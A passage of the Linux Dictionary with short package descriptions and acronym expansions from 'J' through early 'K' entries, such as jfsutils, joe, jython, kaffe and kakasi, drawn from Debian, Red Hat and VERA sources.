JPEG File Interchange Format (JPEG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jflex

lexical analyzer generator for Java JFlex is a lexical analyzer generator for Java written in Java. It is also a rewrite of the very useful tool JLex which was developed by Elliot Berk at Princeton University. As Vern Paxon states for his C/C++ tool flex : They do not share any code though. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JFS

Journalled File System (LVM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JFS (Journalled/Journaling File System)

A file system that includes built-in backup/recovery capabilities. Changes to the index are written to a log file before the changes take effect so that if the index is corrupted (by a power failure during the index write, for example), the index can be rebuilt from the log, including the changes. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jfsutils

The jfsutils package contains a number of utilities for creating, checking, modifying, and correcting any inconsistencies in JFS filesystems. The following utilities are available: fsck.jfs - initiate replay of the JFS transaction log, and check and repair a JFS formatted device; logdump - dump a JFS formatted device's journal log; logredo - "replay" a JFS formatted device's journal log; mkfs.jfs - create a JFS formatted partition; xchkdmp - dump the contents of a JFS fsck log file created with xchklog; xchklog - extract a log from the JFS fsck workspace into a file; xpeek - shell-type JFS file system editor. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jfsutils

Utilities for managing the JFS filesystem Utilities for managing IBM's Journalled File System (JFS) under Linux. IBM's journalled file system technology, currently used in IBM enterprise servers, is designed for high-throughput server environments, key to running intranet and other high-performance e-business file servers. The following utilities are available: fsck.jfs - initiate replay of the JFS transaction log, and check and repair a JFS formatted device. logdump - dump a JFS formatted device's journal log. logredo - "replay" a JFS formatted device's journal log. mkfs.jfs -

create a JFS formatted partition. xchkdmp – dump the contents of a JFS fsck log file created with xchklog. xchklog – extract a log from the JFS fsck workspace into a file. xpeek – shell-type JFS file system editor. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jftpgw

Joe's FTP Proxy/Gateway. FTP proxy program with the following features: * Active as well as passive FTP transfers. * Logging of connection attempts. * Access control features * If run as root, it drops the privileges as often as possible. * You can pretend to run a real ftp server. * User specific forward features. * Specify how many users are allowed to log in from which IP ranges. * The throughput rate can be throttled. * Various login strings are possible. * Regular users can run the proxy server on unprivileged ports as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jgraph

Jim Plank's program for producing PostScript graphs Jgraph takes a description of a graph or graphs and produces a postscript file on the standard output. Jgraph is ideal for plotting any mixture of scatter point graphs, line graphs, and/or bar graphs, and embedding the output into LaTeX, or any other text processing system which can read postscript. The graph description language is simple enough to get nice looking graphs with a minimum of effort, yet powerful enough to give the user the flexibility to tailor the appearance of the graph to his or her individual preferences. This includes plotting multiple graphs and laying them out separately on the page (or pages). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jhcore

Jay's House Core, an enhanced core database for lambdamoo Jay's House Core, a lambdacore based db with significant enhancements. It features: * Hypertext help system * Administration groups * Enhanced english presentation tools * Added objects (furniture, doors, windows, etc) * A tutorial From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jhead

Manipulate the non-image part of EXIF compliant JPEG files Jhead is a command line driven utility for extracting digital camera settings from the Exif format files used by many digital cameras. It handles the various confusing ways these can be expressed, and displays them as F-stop, shutter speed, etc. It is also able to reduce the size of digital camera JPEGs without loss of information, by deleting integral thumbnails that digital cameras put into the Exif header. Upstream is: <http://www.sentex.net/~mwandel/jhead/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JICST

Japan Information Center of Science and Technology (org., Japan) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIEO

Joint Interoperability Engineering Organization (org., DISA, mil., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIF

JPEG Interchange Format (JPEG) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jiffy

Visualization for nec-based antenna designs It is never been easier to design antennas! Most hams enjoy "fiddling" with antennas, but comparatively few of us are really interested in doing one-handed chin-ups at fifty feet above the cold frozen earth on a snowy and windy night in January. Jiffy will make life a lot easier for you. It can make a drawing from the antenna design that you made and it can display elevation and azimuth patterns from the nec output. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jiffy-perl-tk

Visualization for nec-based antenna designs using perl-tk Another version of jiffy, which uses perl-tk. Compared to the original jiffy, a program called necview is added, which can view your antenna design from different angles. A major advantage of this version of jiffy as compared to the tcl/tk/blt based version: it's a lot faster. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jigdo-file

Download Debian CD images from any Debian mirror Using the jigdo-lite script contained in this package, you can use your nearest "regular" Debian mirror to download Debian CD images, instead of having to use one of the few, slow, overloaded mirrors that offer the images as direct HTTP or FTP downloads. See <<http://www.debian.org/CD/jigdo-cd/>> for details. Jigsaw Download, or short jigdo, is a scheme developed primarily to make it easy to distribute huge filesystem images (e.g. CD (ISO9660) or DVD (UDF) images) over the internet, but it could also be used for other data which is awkward to handle due to its size, like audio/video files or large software packages. jigdo tries to ensure that the large file is downloaded in small parts which can be stored on different servers. People who want to download the image do so by telling the jigdo download tool to process one ".jigdo" file; using it, jigdo downloads the parts and reassembles the image. jigdo-file is used to prepare the files for download. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jikes

Fast Java compiler adhering to language and VM specifications Jikes is a Java compiler that translates Java source files as defined in The Java Language Specification (Addison-Wesley, 1996) into the bytecoded instruction set and binary format defined in The Java Virtual Machine Specification (Addison-Wesley, 1996). Unlike other compilers, Jikes accepts the Java language only as specified: not as a subset, variant, or superset. In addition to strictly adhering to specifications, Jikes is faster than most compilers and can compute the complete dependency relations in program files. This allows for the generation of dependency makefiles suitable for use with make. Jikes can also be run in incremental mode: after the initial compilation, Jikes waits until prompted, determines which files have been changed, and then does the minimal amount of work needed to bring the class files into a complete and consistent state. This cycle can be repeated until the q command is entered to end the compilation. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jikespg

Jikes Parser Generator Jikes Parser Generator is a parser generator that accepts as input an annotated description for a language grammar and produces text files suitable for inclusion in a parser for that language. It is similar in function and use to the widely-available parser generators Yacc and Bison. It also provides support for automatic diagnosis and recovery from syntactic errors. It is the parser generator used by the Jikes Compiler. Jikes Parser Generator can generate parsers for LALR(k) grammars and produce output suitable for use with parsers written in Java, C, or C++. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Jini

Pronounced "Genie". Software from Sun that works somewhat like "plug-and-play", in that it allows a hardware device to announce itself to the operating system (and provide details about the device) when the hardware is attached, without requiring a system reboot. It also announces itself to the network the system is connected to, providing easy network sharing of the device. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIPDEC

Japan Information Processing DEvelopment Center (org., Japan) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIPS

JANET Internet Protocol Service (JANET) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIS

Japanese Institute of Standards (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JISC

Japanese Industrial Standards Committee (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIT

Just In Time [compiler] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JIT (Just-In-Time) Compiler

A compiler for the Java language that allows interpreted Java programs to be automatically compiled into native machine language on the fly, for faster performance of the program. Some JVMs include a JIT compiler. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JITC

Joint Interoperability Technology Center (org., DISA, mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jitterbug

A cgi-bin tool for problem reporting and tracking JitterBug is a cgi-bin tool for problem reporting and tracking developed by Andrew Tridgell for the Samba Team. It is highly customizable to your own project's needs. It has both a web interface and an e-mail based one for submitting bug reports. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JK

Just Kidding (DFUe, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jless

A file pager program, similar to more(1) supporting ISO2022 Jless is a program similar to more (1), but which allows backward movement in the file as well as forward movement. Also, jless does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi (1). Jless uses terminfo, so it can run on a variety of terminals. There is even limited support for hardcopy terminals. Jless supporting ISO 2022 code extension techniques and Japanese codes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jlex

A Lex-style lexical analyser generator for Java The JLex utility is a lexical analyser generator, modelled after the popular UNIX "lex" utility. JLex takes a specification file similar to that accepted by Lex, then creates a Java source file for the corresponding lexical analyzer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JMI

Java Metadata Interface (Java) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jmk

A cross-platform make tool written in Java jmk is an application which is used to ensure that a set of files is in a consistent state. If jmk detects an inconsistency, it executes commands that correct the inconsistency. The rules used to detect and correct inconsistencies are given in a makefile. jmk is designed to support the task of writing platform independent makefiles. File names and path lists are written in a canonical form, and translated by jmk into native form. The rules given in a jmk makefile can invoke programs as separate processes. To produce a machine independent makefile, a makefile should only invoke programs that use the same command line argument syntax across platforms. Examples of such programs include Sun's Java compiler (javac) and their Java Archive Tool (jar). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jmon

distributed resource monitor Resource monitoring for large networks. The jMon system allows for the real time monitoring of CPU, memory and swap usage. The system makes use of a small daemon running on each of the machines that are to be monitored. The client makes a TCP/IP connection with

each of the servers specified in the configuration file. The statistics of all the host machines are displayed in an ncurses window on the console. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jmpost

Japanized MetaPost, a system for drawing pictures This is jMetaPost, a Japanized MetaPost based on the original MetaPost 0.641. jMetaPost can handle Kanji characters (EUC-JP). MetaPost interprets the MetaPost language and produces PostScript pictures. The MetaPost language is similar to Knuth's Metafont with additional features for including tex(1) or troff(1) commands and accessing features of PostScript not found in Metafont. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JMSC

Japanese MIDI Standard Committee (org., Japan) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JMSWG

Joint Multi-TADIL Standards Working Group (org., mil., TADIL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JNDI

Java Naming and Directory Interface (JavaSoft, API, Java) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jnethack

The dungeon exploration game JNetHack (nethack with Japanese 110n) JNetHack is Japanese localized version of NetHack. NetHack is D&D (Dungeons and Dragons) style adventure game. Special features of JNetHack version are following: * Japanese message * New character 'Fighter' (She wears 'sailor blouse') * High score server * GTK+ mode * And so on... From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JNI

Java Native method Interface (Java, API) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JNSS

??? (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JNT

Java Network Technology (Java, Informatec) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Job

A task for a computer. The word derives from the days when people had to take their programs to a computing department to be run on a mainframe, and thereby assign a job to the computing department. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Job control

Refers to the ability to selectively stop (suspend) the execution of processes and continue (resume) their execution at a later point. A user typically employs this facility via an interactive interface supplied jointly by the system's terminal driver and bash. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Job queue

A series of tasks automatically executed, one after the other, by the computer. In mainframe data processing during the 1950s and 1960s, the job queue was literally a queue, or line of people waiting to have their programs run. With interactive, multi-user computing and personal computing, you usually don't need to line up to get your work done (although jobs can still back up at a busy printer). The term is still used in WordPerfect, for example, where you can assign a job number to several files you want to print, and the program prints the files in the order you assign. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JODS

Jasmine Object Database Server (Jasmine, DB, CA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

joe

user friendly full screen text editor Joe, the Joe's Own Editor, has the feel of most PC text editors: the key sequences are reminiscent of WordStar and Turbo C editors, but the feature set is much larger than of those. Joe has all of the features a Unix user should expect: full use of termcap/terminfo, complete VI-style Unix integration, a powerful configuration file, and regular expression search system. It also has six help reference cards which are always available, and an intuitive, simple, and well thought-out user interface. Joe has a great screen update optimization algorithm, multiple windows (through/between which you can scroll) and lacks the confusing notion of named buffers. It has command history, TAB expansion in file selection menus, undo and redo functions, (un)indenting and paragraph formatting, filtering highlighted blocks through any external Unix command, editing a pipe into or out of a command, and block move, copy, delete or filter. Through simple QEdit-style configuration files, Joe can be set up to emulate editors such as Pico and Emacs, along with a complete imitation of WordStar, and a restricted mode version (lets you edit only the files specified on the command line). Joe also has a deferred screen update to handle typeahead, and it ensures that deferral is not bypassed by tty buffering. It's usable even at 2400 baud, and it will work on any kind of sane terminal. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

john

An active password cracking tool john, normally called john the ripper, is a tool to find weak passwords of your users, and even mail them automatically if you want. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JOHNNIAC

JOHN von Neumann Integrator and Automatic Computer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

join

join lines of two files on a common field From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JOL

Journal of Online Law (WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JOLT

JOTS

Joint Operational Tactical System (mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Journaling

Same as "logging". Writing information to a journal (log) file as a method of tracking changes. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JOVE

Jonathan's Own Version of EMACS (EMACS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jove

Jonathan's Own Version of Emacs – a compact, powerful editor. Jove is a compact, powerful Emacs-style text-editor. It provides the common emacs keyboard bindings, together with a reasonable assortment of the most popular advanced features (e.g. interactive shell windows, compile-it, language specific modes) while weighing in with CPU, memory, and disk requirements comparable to vi(1). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

joystick

Testing and calibration tools jstest (1) – joystick test program jscal (1) – joystick calibration program inputattach (1) – attach a serial line to a joystick device joystick-device-check(8) – fixes the major numbers depending on the running kernel From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

joystick

The Linux Joystick Driver provides support for a variety of joysticks and similar devices. This package includes several utilities for setting up, calibrating, and testing your joystick. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JPEG

Joint Photographics Expert Group (org., JTC1, RFC 1521, JPEG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JPEG (Joint Photographic Experts Group)

JPEG is most commonly mentioned as a format for image files. JPEG format is preferred to the GIF format for photographic images as opposed to line art or simple logo art. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jpeginfo

Prints information and tests integrity of JPEG/JFIF files. jpeginfo can be used to generate informative listings of jpeg files, and also to check jpeg files for errors. It can also detect broken jpeg and delete them automatically. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jpilot

A GTK app to modify the contents of your Palm Pilots DB's This is an impressive near-full-featured Palm Pilot desktop similar to the one that comes with the Pilot for Windows platforms. You have access to the following applications: o Datebook o Address book o ToDo list o Memos Plug-ins are available in the jpilot-plugins package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jpilot-plugins

Plugins for jpilot (Palm Pilot desktop) This package includes two plugins for jpilot: o Expenses o SyncTime o KeyRing From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JPLDIS

Jet Propulsion Laboratory Display Information System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSA

Japanese Standards Association (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jscalibrator

GTK Joystick Calibrator With jscalibrator you can calibrate your joystick for Linux games. More information can be found at the jscalibrator web site <http://wolfpack.twu.net/libjsw/> . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSD

Jackson System Development (JSP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSDK

Java Servlet Development Kit (Java, Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jserv

Java Servlet 2.0 engine with an optional Apache module Apache JServ is a 100% pure Java servlet engine fully compliant with the JavaSoft Java Servlet APIs 2.0 specification. It works on any 1.1-compliant JVM, and contains a dynamically-loadable module (mod_jserv) to activate support in Apache 1.3. Servlet 2.0 classes (servlet-2.0.jar) are included from a free (LGPL) implementation found at <http://www.euronet.nl/~pauls/java/servlet/>. For more information, see the servlet engine project homepage at <http://java.apache.org/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jslaunch

Joystick button shell command execution/shutdown tool jslaunch is a very small daemon/program that will start a specified shell command when a combination of joystick buttons is pressed. One of its uses is as a backup way to make a clean shutdown if your console has been messed up by X11 or SVGAlib and you don't have a terminal sitting on your desk to log in and shut down from, but you can use it for example as a remote control to do just about anything (including starting a measurement on an experimental setup connected to your computer). You will not need any joystick drivers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSME

??? (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

??? (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSSA

Japan Society for System Audits (org., JIPDEC, Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JSSE

Java Secure Socket Extension (Java, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JST

Japan Standard Time [+0900] (TZ) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jswat

JPDA java debugger JSwat is an extensible, standalone, graphical Java debugger front-end, written to use the Java Platform Debugger Architecture (JPDA) package provided by JavaSoft. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JT

Java Time [+0730] (TZ) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTA

Joint Technical Architecture (JIEO, mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTAG

Joint Test Action Group (org., Philips, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTB

Jump Trace Buffer (CPU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTBP

Job To Be Processed [block] (BS2000) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTBPX

Job To Be Processed [block] eXtension (BS2000) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTC1

Joint Technical Committee 1 (ISO, IEC, IT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jtex-base

basic jTeX library files. jTeX is a TeX for Japanese language. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jtex-bin

Japanese TeX (NTT version) and other japanese tex staffs. JTeX is TeX for Japanese text based on the original Knuth's TeX. Include: jtex, jlatex, amsjtex (amsjtex depends on tetex-extra package) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTM

Job Transfer and Manipulation (ISO 8831/32) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTMS

Justification based Truth Maintenance System (AI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JTSSG

Joint Telecommunications Standards Steering Group (mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JUGHEAD

Jonzy's Universal Gopher Hierarchy Excavation And Display From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

juice

playlist editor / player frontend Juice is a frontend for mpg123 and other players. It provides a nifty dialog-based playlist editor. It basically allows you to browse through your files in a "Midnight Commander"-like fashion. The MP3's you select are treated as a playlist which can be shuffled, rearranged, saved, etc. In order to play audio files, two player interfaces are provided. The mpg123-specific interface uses the remote protocol of mpg123 (This feature was introduced in version 0.59r in order to accommodate generic frontends.) The other player frontend is generic and allows for any player to be used. This is useful if you do not want to limit the functionality of juice to MP3's. Please note that this generic frontend is still in early beta phase and is pretty buggy. Of course

juice comes with all the bells & whistles you'd expect from a quality application and has (among others) full integrated help functionality as well as full dialog based configuration file editor. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

juke

A curse based jukebox program. Juke is a simple curses/ ncurses based juke box program for Unix computers. It uses command line based players to play all kinds of music format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JUMBO

Java Universal Molecular Browser for Objects (XML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JUNET

Japan Unix NETwork (network, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

junit

Automated testing framework for Java JUnit is a simple framework for writing and running automated tests. As a political gesture, it celebrates programmers testing their own software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

junit-freenet

basic reimplementaion of the JUnit unit testing framework This is a basic reimplementaion of the JUnit unit testing framework, it was just an afternoons hack, so for real testing you may still wish to use JUnit, but developing against this should avoid any questions regarding licensing. This code is written without the authorization or knowledge of the original JUnit authors, and bears no relation to their code short of containing the same class, method, and field names. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

junkbuster

The Internet Junkbuster! Junkbuster is an instrumentable proxy that filters the HTTP stream between web servers and browsers. It can prevent ads and other unwanted junk from appearing in your web browser. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

junkfilter

A junk-email filtering program for procmail This package uses procmail filtering algorithms to detect junk email. This results in internal procmail variables being assigned to indicate the reason why the email has been classified as junk. The user can then use those variables within their .procmailrc file to deal with the junk in any way they see fit. There are a number of filters available in the package, and can be selected from a simple config file on a per-user basis. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

justification

The positioning of text along the document margins in a word processing application. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JVC

J++ Visual Compiler (MS, Java) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JVIDS

Joint Visually Integrated Display System (mil.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jvim-canna

Japanized VIM (Canna version) JVIM 3.0 is Japanized VIM (VI clone editor) by K.Tsuchida <ken_t@st.rim.or.jp> on May 5, 2001 (patch version 2.1a). This editor can utilize the canna-server in "canna" package directly without other extra libraries (i.e. libonew) in order to enter "Kanji" from kon (Kanji linux cONsole) in kon2 package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JVM

Java Virtual Machine (Java) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JVM (Java Virtual Machine)

A Java runtime environment, required for the running of Java programs, which includes a Java interpreter. A different JVM is required for each unique operating system (Linux, OS/2, Windows 98, etc.), but any JVM can run the same version of a Java program. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jw

(Jade Wrapper) converts SGML files to other formats From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jwhois

Improved Caching Whois client GNU jwhois is an Internet Whois client that queries hosts for information according to RFC 954 – NICNAME/WHOIS. JWHOIS is configured via a configuration file that contains information about all known Whois servers. Upon execution, the host to query is selected based on the information in the configuration file. The configuration file is highly customizable and makes heavy use of regular expressions. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JWICS

Joint Worldwide Intelligence Communications System (mil.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jython

Python seamlessly integrated with Java Jython is an implementation of the high-level, dynamic, object-oriented language Python seamlessly integrated with the Java platform. The predecessor to Jython, JPython, is certified as 100% Pure Java. Jython is complementary to Java and allows the two languages to be freely mixed. It is especially suited for embedded scripting, interactive experimentation and rapid application development, and it can interact with Java packages or with running Java applications. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jzip

Text mode interpreter for Z-Code adventures, etc. This package provides the jzip Z-Code interpreter required to run Infocom or Inform-generated text adventures, although the format can be used for more than games. It is based on the zip interpreter sources and adapted by John D. Holder <jholder@frii.com>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

K

K Desktop Environment (KDE)

Graphical desktop interface designed with free software tools and libraries for the free software community. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

K12LTSP

K12LTSP is a terminal server appliance distribution of Red Hat Linux. It's easy to install and configure. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

k3b

K3b is CD-writing software which intends to be feature-rich and provide an easily usable interface. Features include burning audio CDs from .WAV and .MP3 audio files, configuring external programs and configuring devices. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

k6fftwgel2

Library for computing Fast Fourier Transforms on AMD K6-2 This library computes Fast Fourier Transforms (FFT) in one or more dimensions. It is extremely fast. This package contains the documentation and the shared version of the libraries. To get the static library and the header files you need to install k6fftwgel-dev. This library uses the same interface as fftw so should be a drop-in replacement, but is currently limited to single precision only. The code is tuned for AMD k6-2 processors and can be as much as three times as fast as vanilla fftw. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

k7fftwgel2

Library for computing Fast Fourier Transforms on AMD K7 This library computes Fast Fourier Transforms (FFT) in one or more dimensions. It is extremely fast. This package contains the documentation and the shared version of the libraries. To get the static library and the header files you need to install k7fftwgel-dev. This library uses the same interface as fftw so should be a drop-in replacement, but is currently limited to single precision only. The code is tuned for AMD k7 processors and can be as much as three times as fast as vanilla fftw. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kab

An addressbook for KDE This is the KDE Addressbook From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kabalone

Abalone board game for KDE Abalone is a simple board strategy game that is played by two players. There are red and yellow pieces for each player. Beginning from a start position where each player has 14 pieces, moves are drawn until one player has pushed 6 pieces of his opponent out of the board From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kaffe

A JVM to run Java bytecode This is Kaffe, a virtual machine designed to execute Java bytecode. It performs "just-in-time" code conversion from the abstract code to the host machine's native code. This will ultimately allow execution of Java code at the same speed as standard compiled code but while maintaining the advantages and flexibility of code independence. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kakasi

Kanji KAna Simple Inverter KAKASI is the language processing filter to convert Kanji characters to Hiragana, Katakana or Romaji(1) and may be helpful to read Japanese documents. The name "KAKASI" is the abbreviation of "kanji kana simple inverter" and the inverse of SKK "simple kana kanji converter" which is developed by Masahiko Sato at Tohoku University. The most entries of the kakasi dictionary is derived from the SKK dictionaries. If you have some interests in the naming of "KAKASI", please consult to Japanese-English dictionary. :-)(1) "Romaji" is alphabetical

description of Japanese pronunciation. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kakasi-dic

KAKASI dictionary files This package provides KAKASI dictionary files. You have to install this package if you use KAKASI. KAKASI is the language processing filter to convert Kanji characters to Hiragana, Katakana or Romaji(1) and may be helpful to read Japanese documents. (1) "Romaji" is alphabetical description of Japanese pronunciation. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kaladix Linux

The aim of Kaladix Linux is to become a ultra-secure Linux distribution that satisfied all your needs as a Linux for your server environment. Current release is pre-0.4. A 'secured' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kallsyms

Extract all kernel symbols for debugging From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kamera

digital camera io_slave for Konqueror This is a digital camera io_slave for KDE which uses gphoto2 and libgphoto to allow access to your camera's pictures with the URL kamera:/ From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kamera

Kamera adds support for digital cameras to KDE. After installing kamera, you can access your digital camera just like a filesystem from KDE applications. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KAN

KriminalAktenNachweis (INPOL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kanadic

Katakana and hiragana drill files for KDrill Those files let you practice your basics katakana and hiragana with kdrill. It includes both the basic version and the extended versions. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kandy

